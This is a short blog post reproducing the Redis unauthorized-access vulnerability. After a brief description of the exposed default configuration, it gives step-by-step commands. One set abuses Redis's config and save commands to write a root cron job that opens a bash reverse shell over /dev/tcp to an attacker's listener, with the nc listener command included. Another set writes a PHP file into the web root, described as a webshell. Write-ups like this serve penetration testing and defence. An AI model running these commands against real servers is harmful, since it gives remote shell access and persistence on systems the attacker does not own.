title: "Redis Unauthorized Access Vulnerability Reproduction (Updating)"
date: 2021-12-17T15:42:45+08:00
lastmod: 2021-12-17T15:42:45+08:00
categories: [Vulnerability Reproduction]
tags: [Unauthorized Access, Vulnerability Reproduction]
summary: "Redis is a fully open-source, BSD-licensed, high-performance key-value database."
1. Vulnerability Introduction#
By default, Redis is bound to 0.0.0.0:6379. If no relevant strategies are adopted, such as adding firewall rules to prevent access from non-trusted sources, Redis services will be exposed to the public network. If no password authentication is set (usually empty), this will result in unauthorized access to Redis and reading Redis data by any user who can access the target server.
Attackers can exploit the unauthorized access vulnerability by using Redis's own config command to log in to the target server, add scheduled tasks, write webshells, and perform other operations.
The following operations are performed under the assumption that the Redis unauthorized access vulnerability already exists.
2. Exploiting Scheduled Tasks to Reverse Shell#
Connection tool: https://github.com/caoxinyu/RedisClient/releases
https://github.com/dmajkic/redis/downloads
Run the following on the compromised host connected to the vulnerability:
set xx "\n* * * * * bash -i >& /dev/tcp/IP Address/Port 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
Run the following locally:
nc -lvnp Port
3. Writing Webshell in Redis#
config set dir /var/www/html
config set dbfilename test123.php
set webshell "<?php phpinfo(); ?>"
save